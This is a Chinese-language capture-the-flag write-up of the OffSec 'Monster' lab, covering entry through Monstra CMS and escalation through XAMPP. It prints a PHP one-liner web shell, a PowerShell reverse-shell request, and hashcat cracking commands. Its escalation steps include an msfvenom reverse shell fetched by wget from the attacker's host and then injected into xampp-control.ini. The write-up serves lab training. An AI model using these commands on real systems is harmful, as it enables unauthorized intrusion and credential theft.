OSCP Monster Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Monster

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

方法一: web 信息收集 –> 猜测用户凭证 –> Monstra CMS 后台权限 –> 源码写入一句话木马 –> 系统 Mike 用户权限 –> 用户旗帜

方法二: web 信息收集 –> 猜测用户凭证 –> Monstra CMS 后台权限 –> 源码备份 –> 得到 Mike 用户加密 hash –> 检索 Monstra CMS 加密方式,hashcat 破解密码,RDP 远程登录 –> 系统 Mike 用户权限 –> 用户旗帜

权限提升:

xampp 本地提权漏洞 –> 系统 administrator 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo nmap -p- 192.168.134.180 --min-rate=2000

PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5040/tcp open unknown
7680/tcp open pando-pub
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
sudo nmap -p80,135,139,443,445,3389,5040,7680,49664,49665,49666,49667,49668,49669 -sCV 192.168.134.180

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
|_http-title: Mike Wazowski
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Potentially risky methods: TRACE
| tls-alpn:
|_ http/1.1
|_http-title: Mike Wazowski
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Mike-PC
| Not valid before: 2025-09-18T07:42:42
|_Not valid after: 2026-03-20T07:42:42
| rdp-ntlm-info:
| Target_Name: MIKE-PC
| NetBIOS_Domain_Name: MIKE-PC
| NetBIOS_Computer_Name: MIKE-PC
| DNS_Domain_Name: Mike-PC
| DNS_Computer_Name: Mike-PC
| Product_Version: 10.0.19041
|_ System_Time: 2025-09-19T07:48:46+00:00
|_ssl-date: 2025-09-19T07:49:01+00:00; -1s from scanner time.
5040/tcp open unknown
7680/tcp open pando-pub?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

系统为 Windows 环境,开放有 HTTP、RDP 和一些 windows 默认服务。

3.2 渗透测试突破边界

3.2.1 Monstra CMS 后台 Get Shell(方法一)

靶机 HTTP 80 和 443 页面相同,猜测属于同一个 web 应用,目录枚举过程中发现了 blog 目录。

初次访问 blog 目录会出现大量无法加载的资源,点击页面源码发现 URL 资源使用了域名访问,需要将源码中的域名添加至 kali hosts 文件。

1
echo "192.168.134.180\tmonster.pg" | sudo tee -a /etc/hosts

再次访问,页面显示正常,通过网页右下角可得到应用版本信息:Monstra 3.0.4。

检索应用历史漏洞,存在多个 EXP,均需要管理员后台密码,Monstra CMS 属于内容管理系统,与 Wordpress 类似,在后台大概率可修改应用源码。

点击 user 可得到网站用户信息,在 admin 目录尝试常见弱口令均无法登录。

回到网站主页,根据 about 人员信息尝试登录,成功进入 Monstra CMS 后台。

1
2
admin
wazowski

点击 Extends - Themes 可修改网站源码。

在 index 页面插入一句话木马。

1
2
<?php
system($_GET['cmd']);?>

回到网站主页,利用一句话木马可执行系统命令。

我们可将源码替换为 php 反弹 shell 或通过刚刚的一句话木马执行 powershell 反弹 shell。

1
https://www.revshells.com/

1
2
rlwrap nc -lvnp 80
http://monster.pg/blog/index.php?cmd=powershell%20-e%20JABjAGwAaQBl ...snip...

修改后台源码突破边界并不是靶机想要考察的思路,更像一种意外的攻击路径,下面我们介绍另外一种攻击思路。

3.2.2 Monstra CMS 后台备份源码,破解用户 hash 得到 Mike 用户权限(方法二)

如果尝试修改源码时提示没有权限或修改后不能按照预期执行系统命令,此时就需要调整攻击思路。在 Linux 靶机中,我们突破边界的第一步就是搜集系统可能存在的口令,然后尝试密码复用,对于 windows 靶机仍需要这个过程,我们知道网站后台除了 admin 还存在 Mike 用户,Monstra CMS 后台存在备份功能,我们在后台执行源码备份,然后下载至本地分析,寻找可能存在的用户口令。

点击 System -Backups 创建备份,然后将其下载至 kali。

使用 sublime text 打开源码所在路径,检索 admin 字段,在 blog/storage/database/users.table.xml 发现 admin 和 Mike 用户 hash。

知道了 admin 用户明文密码,文件中的加密疑似 MD5 格式,利用 cyberchef 手动将 admin 用户密码进行 MD5 加密,手动加密的结果与源码中的密文不一致,说明源码中可能存在加密变形。

检索 monstra 密码破解,通过下面这篇文章我们了解到其加密原理。

1
monstra cms 3.0.4 password decrypt

1
https://simpleinfoseccom.wordpress.com/2018/05/27/monstra-cms-3-0-4-unauthenticated-user-credential-exposure/

monstra 先将明文密码与默认的盐进行拼接,然后执行两次 MD5 加密。再次通过 cyberchef 手动将 admin 用户密码加密,得到了与源码中一致的密文,证明加密方式正确。

hashcat 支持破解 MD5 两次加密的密码,但对于添加盐的密文,在 kali 使用 hashcat 直接破解会提示缺少 so 文件,只能选择不加盐的方法破解,然后添加 hashcat 自定义规则进行破解。

1
https://hashcat.net/wiki/doku.php?id=example_hashes

针对该密文可使用密码组合模式也可使用字典末尾追加字符模式破解。

1
https://hashcat.net/wiki/doku.php?id=combinator_attack

1
https://hashcat.net/wiki/doku.php?id=rule_based_attack

1
2
3
4
5
# 字典组合模式
hashcat -m 2600 -a 1 hash ~/Desktop/rockyou.txt salt

# 末尾追加字符模式
hashcat -m 2600 -a 6 hash ~/Desktop/rockyou.txt salt 'YOUR_SALT_HERE'

靶机开放有 RDP 服务,利用获取的 Mike 用户名和密码可远程登录靶机。

1
xfreerdp3 /u:mike /p:'Mike14' /v:192.168.134.180 /clipboard /dynamic-resolution /cert:ignore /scale:180

3.2.3 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Xampp 本地提权漏洞

靶机本地信息收集过程中,排查了系统服务、计划任务、不安全配置均未发现可提权路径,通过 C:\xampp 目录 readme 文件得知应用版本:XAMPP version 7.3.10。

searchsploit 检索发现 7.4.3 版本存在本地提权漏洞,除此之外我们找不到其他可尝试的攻击路径。

1
searchsploit XAMPP

复制漏洞利用脚本至当前目录,使用文本编辑器打开利用。

1
searchsploit -m windows/local/50337.ps1

脚本主要功能:将 C:\xampp\xampp-control.ini 第三行值替换为反弹 shell 程序,我们首先通过 msfvenom 生成 exe 格式反弹 shell。

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.227 LPORT=80 -f exe -o shell.exe

将 exe 上传至靶机用户桌面,然后使用 msf handler 模块监听 80 端口,在靶机 powershell 中执行漏洞利用指令,当系统 xampp 调用配置文件执行 exe 反弹 shell 时,成功得到 administrator 用户 shell。

1
2
3
4
5
6
powershell -ep bypass
wget http://192.168.45.227/shell.exe -O shell.exe
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\Users\Mike\Desktop\shell.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Monster Write-up
https://www.f0nesec.top/2025/09/20/oscp-monster/
作者
F0ne
发布于
2025年9月20日
许可协议